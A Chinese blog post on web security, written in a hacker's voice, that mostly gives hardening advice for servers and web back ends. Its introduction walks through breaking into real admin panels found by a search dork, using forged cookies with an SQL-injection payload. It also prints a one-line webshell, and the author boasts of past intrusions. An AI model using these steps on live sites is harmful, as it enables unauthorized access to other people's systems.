1. 程式人生 > >一個程式設計師淺談“如何Web安全”

一個程式設計師淺談“如何Web安全”

一個程式設計師從黑客角度淺談“Web安全    隨著對黑客淺略地瞭解,慢慢知道了這個鬼東西是一個多麼可怕的存在。希望能通過這篇文章,讓一些和之前的我一樣沒有對黑客一詞引起重視的人加深一下對這方面的瞭解和重視!接下來就以第一人稱 “我們” 來代表黑客,淺談Web安全(個人拙見)!    從勒索病毒就可以看出,其實病毒離我們並不遠…… 一、引言 為拋磚引玉,我們親自來做個試驗,用簡單的方法進入網站後臺管理系統,只需三步!
 1.IE瀏覽器百度搜索 “
inurl:szwyadmin/login.asp”,就進入第一個網站吧!
 2.我們會在位址列鍵入:
   javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));
javascript:alert(document.cookie="adminpass="+escape("'or'='or'"));    javascript:alert(document.cookie="admindj="+escape("1"));
 3. 然後關閉彈窗和該頁面,重新進入該網站。並把位址列的 
login.asp 改為 admin_index.asp,回車一下我們就進入後臺管理了! 
 可以看到,使用cookie欺騙和SQL注入的payload就可以開啟後臺管理的大門。不注重安全的網站是多麼作死的一件事……


二、關鍵詞解釋
  1.一句話木馬:網頁木馬的一種,程式碼類似於 “
<%execute request("value")%>” ,因程式碼短小(一般只有一句話 )而得名,主要用於拿取webshell。
  2.webshell:aspphp、jsp或者cgi等網頁檔案形式存在,也可以將其稱做為一種網頁後門。可以使用瀏覽器來訪問它,以得到一個命令執行環境,以達到控制網站伺服器的目的。
  3.xss:惡意攻擊者往Web頁面裡插入惡意Script程式碼,當用戶瀏覽該頁面時,嵌入其中的Script程式碼將被執行,從而達到惡意攻擊使用者的目的。 
  4.SQL注入: 攻擊者構造惡意SQL隨請求的URL一起傳入伺服器,以達到操縱資料庫的目的(
如上面的'or'='or
'即是一次SQL注入
  5.肉雞: 
肉雞也稱傀儡機,是指可以被黑客遠端控制的機器。比如用"灰鴿子"等誘導客戶點選或使用者電腦有漏洞導致黑客種植木馬,以致可以隨意操縱並利用它來做任何事情。

三、主要內容
 接下里,就以我目前瞭解的知識,從 伺服器-->Web後臺-->走進黑客 的順序來談談在下對 web安全 的一些看法。 I 伺服器 1.“Secure by Default” 原則
實際上,“Secure by Default” 原則也可以歸納為白名單、黑名單思想。如果更多地使用白名單,那麼系統就會變得更安全。  ----白帽子講 Web安全  具體舉個例子吧,比如某天你發現你的伺服器的 C:\Users\ 目錄下(或者Linux的 /home/ 目錄下)多了一個陌生的資料夾。通常說明你的伺服器已被我們登入過了。那怎麼辦,首先可以通過如Windows的事件檢視器查到我們的IP,然後防火牆增加一條入站規則,限制該IP使用3389埠(遠端桌面埠,Linux為22埠)。以上便是黑名單思想,同樣我們也可以預見黑名單方式並不能真正解決問題,因為我們完全可以操作肉雞或者直接使用代理的方式來更換訪問IP。所以大家應該更多地去使用白名單策略:配置防火牆只允許特定IP訪問。具體配置順序是拒絕所有IP,然後允許某些特定IP訪問。以下是具體命令:
  netsh firewall set portopening TCP 3389 遠端桌面 ENABLE CUSTOM [允許訪問的IP]       //Windows
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -s [允許訪問的IP] -j ACCEPT    //Linux 
以上IP格式也支援形如 192.168.0.0/16 的IP+掩碼方式的IP段。
 
2.一些安裝軟體的預設值問題
  比如大家都知道的預設埠:330614331521,以及SVN的3690、Redis的6379、Teamviewer的5938等,這些都有可能被我們拿來做掃描埠進行大範圍IP段的漏洞掃描。所以可以考慮修改一下如Redis這類重要軟體的預設埠,這樣可以躲避大多數的常規掃描。下面是護衛神安裝後的首頁,裡面預設引數百出:


3.安全意識

上圖可以看到,一些網站經常會披露一些系統漏洞, 如果這些漏洞被我們利用,製作了相應的木馬。而你的電腦還未進行系統升級或打上相應的補丁,那麼你有可能會成為我們的肉雞。所以應經常性地為系統升級,打打補丁。 另外一些防毒軟體你也是應該安裝的,現在的防毒軟體能殺掉大部分流行病毒。而作為伺服器,安全狗護衛神這類防禦軟體也是需要的,它除了擁有更多更細的功能之外,還能找到防毒軟體無法查殺的一句話木馬。最後還得提醒一句:儘量不要在你的伺服器上進行一些敏感操作(如轉賬等,因為也許我們正通過遠控軟體監視著你的螢幕和鍵盤呢……

4.訪問控制
   一方面,需要時請給不同軟體分配不同的使用者,做到垂直許可權管理(root->mysql->……)。如安裝MySQL,應新建一個mysql的使用者,它只擁有特定資料夾和檔案(如/ tmp/ 資料夾)的讀寫許可權,用於資料備份和恢復。否則,一旦你以高許可權使用者作為mysql的登入使用者,我們爆破mysql賬戶密碼後,就可以使用SQL語句的dumpoutfile命令寫入木馬檔案到你電腦的
lib\plugin或c:\windows\system32\等關鍵目錄,之後使用udf提權等方式就可以獲得你電腦的超級管理員許可權。
  另一方面,不同軟體使用者應做到
水平許可權管理。如mysql使用者應無法寫入檔案到apache目錄(防止mysql寫入網頁到網站目錄,以便拿取webshell)、apache使用者無法寫入檔案到mysql相關目錄(防止利用上傳漏洞寫入udf.dll等檔案,從而進行mysql udf提權)。

5. 阿里雲伺服器
  針對阿里雲伺服器,它上面的一個叫做安全組
功能很是好用,它將是你的第二道防火牆!它的作用類似於電腦防火牆,可以新增允許訪問的IP、IP段和埠等,也可以新增阻止訪問的IP、埠。當然安全組策略的配置也應遵守Secure by Default” 原則你應該優先配置安全組策略而不是本機防火牆,因為一旦我們獲得了你網站的webshell或者伺服器shell,那麼我們是可以通過命令來隨意操縱你的防火牆的,而安全組卻不行!突然想起了上次的一個肉雞,他察覺到我的存在之後立馬修改了安全組白名單,於是我這兒邊cmd能看到他的防火牆被我關掉了,3389也一直開放著,但仍然遠端桌面不上。另外,阿里雲盾也是一個好幫手,目前阿里雲盾提供免費的DDoS防護、安騎士、弱點分析等功能
  
特別說明:
(1)如果沒有特殊需要,伺服器可以考慮關閉 ICMP協議,說白點,就是禁止ping!一方面,我們
許多工具如著名的NMap等,都有支援ping掃描的模組,禁止ping可以防止一些工具的惡意掃描。另一方面,這樣做可以防止類如 ICMP Flood的DDoS攻擊。
(2)如果不需要使用mysql的dump或outfile函式進行資料備份,那麼請考慮使用 secure_file_priv 模式啟動mysql。這是mysql的一個新特性,用來限制load、outfile、dump、load_file等函式將檔案匯出到哪個指定目錄(當ure_file_priv的值為null ,表示限制mysql不允許匯入|匯出)。在mysql5.7.6後,這個引數預設為null。我爆破過許多mysql賬戶密碼,但是大多都是以無法匯出檔案而告終,這讓我很傷……

II Web後臺
下面我就直接說說對於Web後臺的幾個小建議: 1.上傳相關建議
(1)應保證上傳目錄不具有可執行許可權
  這個我們可以設定上傳路徑可讀可寫不可執行。當然我的建議是,通過諸如Nginx伺服器,為靜態資源(上傳的檔案)配置靜態資源伺服器,其實本質就是通過 location節點 對url請求和伺服器物理路徑進行虛擬對映。可以的話,最好單獨設定靜態資源伺服器的域名,這樣可因瀏覽器同源策略的關係,使得一系列客戶端攻擊無效。
(2)上傳檔案型別的校驗操作放在伺服器端
  首先說說為何要進行上傳型別校驗,我看來原因有二。其一是限制一些無關字尾名的檔案上傳,導致頻寬浪費和伺服器效能開銷;其二是防止
攻擊者上傳xx.php或xxx.asp等網頁木馬,從而拿到webshell。那為什麼校驗要放在伺服器端進行,這裡我直接舉個例子:在網站使用JS進行的上傳校驗時,我們上傳了一張包含一句話木馬程式碼的圖片,然後使用 Burpsuite 或 Wireshark 等工具對剛剛的請求進行抓包,拿到十六進位制檔案,改掉相應資料使得上傳檔案字尾名變為.php或.asp,最後放行讓其請求伺服器。這樣騙過了前端,上傳了一句話網頁木馬。

2.敏感隱藏
(1)後臺管理入口隱藏
(包括你的phpMyAdmin入口的隱藏) 一旦我們找到了你的後臺管理入口,就會使用各種技術進行爆破,如Burpsuite後臺密碼爆破、XSS跨站攻擊、Cookie欺騙、中轉註入等,這大大增加了網站伺服器的危險係數。記得之前看過職來職往的一期節目,裡面一個騷年只因為找到了58同城的後臺管理入口就語驚四座!所以,隱藏後臺管理入口是一件很有必要的事情。另外值得一提的是,把資料庫和伺服器進行分離將會提高伺服器的安全性,因為我們有時爆破資料庫後,總是苦於無法得知它的網站URL。當然如果條件有限,也可以使用Nginx等配置虛擬主機將其進行隔離。
(2)敏感檔案隱藏
  如網站根目錄存在robots.txt,可能會洩露網站目錄結構;又如織夢預設的xxx.com/data/admin/ver.txt檔案會洩露當前織夢繫統的版本,而一般我們就可以根據版本去找相應織夢繫統的漏洞,如下:

再如phpinfo.php等敏感檔案的處理或隱藏。這個檔案我得多說一下,它可以幫助我們找到你網站根目錄在你伺服器上的絕對路徑,這對我們來說是一件非常有幫助的事。因為知曉了網站根目錄的絕對路徑,就可以通過mysql的outfile等命令寫入網頁木馬到你的網站目錄下;最後是原始碼和資料庫備份檔案的隱藏,這是非常非常重要的!儘量不要將原始碼檔案放在網站目錄中(除非設定所在資料夾訪問403),否則我們難免會使用爬蟲找到你的原始碼並下載下來,然後通過程式碼審計等方式很快就能找到你程式碼中的一些敏感的東西,比如加密規則等……
3)敏感程式碼過濾和隱藏 
  敏感程式碼過濾,首先要說的就是SQL注入的select、union、or等敏感關鍵字,應該對此類關鍵字進行排查。其次便是CRLF注入,應處理好 “\r” 和 “\n”這兩個保留字。
  敏感程式碼隱藏,首當其衝的便是支付相關的敏感引數,如商戶號、支付私鑰等 。其次便是上傳型別字尾名、禁用的函式名等敏感資料,這類引數其實放在程式碼裡就行。而織夢將其放在了資料庫:

這將導致我們在爆破到資料庫後,通過新增允許上傳的字尾名(如.php)和刪除禁用的可執行函式(如eval)來上傳和執行網頁木馬。

3.其他
(1)第三方軟體漏洞的關注
  比如正使用著Struts2,那麼我們就有理由去關注一下Struts2的命令執行漏洞;又如正在使用FckEditoreWebEditor等富文字編輯器,它們給我們帶來了
豐富的輸入,同時也給我們帶來了許多的漏洞;再如正使用Apache、Nginx、IIS,就應該瞭解一下ApacheIIS檔案解析問題、Nginx的fastcgi的檔案型別解析問題。
(2)加密
  加密時不要使用ECB模式;使用HMAC-SHA1代替MD5(甚至SHA1);使用隨機的salts(鹽)和IV(向量)。
(3)程式碼
  使用預編譯(如Java的Preparedstatement)來防止SQL注入、使用view層的 輸出編碼 來解決XSS攻擊…… 


III 
走進黑客
1.拿到webshell後能做的事情:一般可進行檔案上傳下載、執行cmd命令等。

以上便是著名的一句話木馬以及它的連線工具---中國菜刀。 以下是php較大網頁木馬(html+php指令碼)進行了編碼後的樣子: 而訪問卻是這樣的:
2.拿到較高許可權成為肉雞後:



基本上超級管理員能做的,你差不多都能做了,實在做不了的,馬上新增一個使用者,遠端桌面去做……

3.黑客需要會點啥?
(1)Windows的dos命令需要會點兒吧,操作防火牆、修改登錄檔、操作計劃任務、作業系統服務,當前還有最基本的新增使用者和隱藏使用者等命令。
(2)Linux的shell命令需要會點兒吧,同樣的新增使用者、刪除使用者、操作iptables防火牆、vi、tar、
chkconifg、chmod、ps……
(3)各資料庫的SQL語句需要會點兒吧,udf提權需要的建立函式、匯出匯入函式等 (4)JS需要會點兒吧,JS不會XSS怎麼搞?而且不僅需要JS知識,DOM這些不知道你也不能成吧。 (5)加密演算法與解密技術,爆破是一門技術活,熟悉加密演算法、擁有好的字典、牛逼的社會工程學知識都能讓你在爆破速度上面有質的提升。 (6)各大主流web程式語言:php、asp、java這些得懂點兒吧,網馬不就是利用這些語言指令碼寫出來的嘛。另外比如c++,灰鴿子遠控軟體和很多木馬也是通過c++寫的,不瞭解一下就只能長期買別人的遠控軟體,用別人的可能帶有後門的木馬程式…… (7)一些會用到的計算機網路知識,如tcp(tcp的syn、udp、icmp、http等,在進行DDoS、網路嗅探、arp欺騙等都用得著。 (8)然後應該就是一些技術性的東西了,比如免殺技術、提權、滲透技、爬蟲、抓包分析等。 (9)不怕蹲監獄的心……